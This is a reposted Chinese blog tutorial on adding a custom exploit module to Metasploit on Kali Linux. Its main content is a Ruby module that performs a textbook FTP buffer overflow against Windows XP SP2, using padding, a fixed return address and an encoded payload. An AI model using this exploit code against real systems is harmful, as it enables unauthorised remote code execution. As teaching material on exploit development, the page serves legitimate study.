给kali的Metasploit下添加一个新的exploit

本是古典何须时尚 2023-10-12 02:29 17阅读 0赞

转载:[https://blog.csdn.net/SilverMagic/article/details/40978081][https_blog.csdn.net_SilverMagic_article_details_40978081]

*  首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹，例如fwdtest

![20141110111509661][]

*  仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本(这边用0day安全:软件漏洞分析技术里的一个栗子)

1.   
    
    root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest \# ls
2.   
    
    0day1.rb
3.   
    
    root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest \# cat 0day1.rb
4.   
    
    \#\#
5.   
    
    \# This module requires Metasploit: http //metasploit.com/download
6.   
    
    \# Current source: https: //github.com/rapid7/metasploit-framework
7.   
    
    \# \#
8.   
    
    require 'msf/core'
9.   
    
    class Metasploit3 < Msf::Exploit::Remote
10.  
    
     include Msf::Exploit::Remote::Ftp
11.  
    
     def initialize(info = \{\})
12.  
    
     super(update\_info(info,
13.  
    
     'Name' => 'security test',
14.  
    
     'Description' => %q\{ 
15.  
    
    This module exploits a buffer overflow.
16.  
    
    \},
17.  
    
    'Author' => 'fwd',
18.  
    
    'License' => MSF\_LICENSE,
19.  
    
    'Privileged' => true,
20.  
    
    'Payload' =>
21.  
    
    \{
22.  
    
    'Space' => 300,
23.  
    
    'BadChars' => "\\x00",
24.  
    
    \},
25.  
    
    'Platform' => 'win',
26.  
    
    'Targets' =>
27.  
    
    \[
28.  
    
    \[ 'Windows XP Pro SP2 English', \{ 'Ret' => 0x7c809f83 \} \],
29.  
    
    \]))
30.  
    
    end
31.  
    
     
32.  
    
    def exploit
33.  
    
    connect
34.  
    
    attack\_buf = 'a'\* 200
35.  
    
    attack\_buf += \[target.ret\].pack( 'V')
36.  
    
    attack\_buf += payload.encoded
37.  
    
    sock.put(attack\_buf)
38.  
    
    handler
39.  
    
    disconnect
40.  
    
    end
41.  
    
    end
42.  
    
    root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest\#

*  在控制台下启动metasploit

![20141110112317843][]

*  在msf提示符下输入reload\_all重新加载所有模块

![20141110112700718][]

*  在msf提示符下输入use exploit/fwdtest/exp(输入的时候可以用tab补全，如果不能补全说明就有问题)

![20141110112712598][]

转载于:https://www.cnblogs.com/kuangke/p/11195799.html

[https_blog.csdn.net_SilverMagic_article_details_40978081]: https://blog.csdn.net/SilverMagic/article/details/40978081
[20141110111509661]: https://img-blog.csdn.net/20141110111509661
[20141110112317843]: https://img-blog.csdn.net/20141110112317843
[20141110112700718]: https://img-blog.csdn.net/20141110112700718
[20141110112712598]: https://img-blog.csdn.net/20141110112712598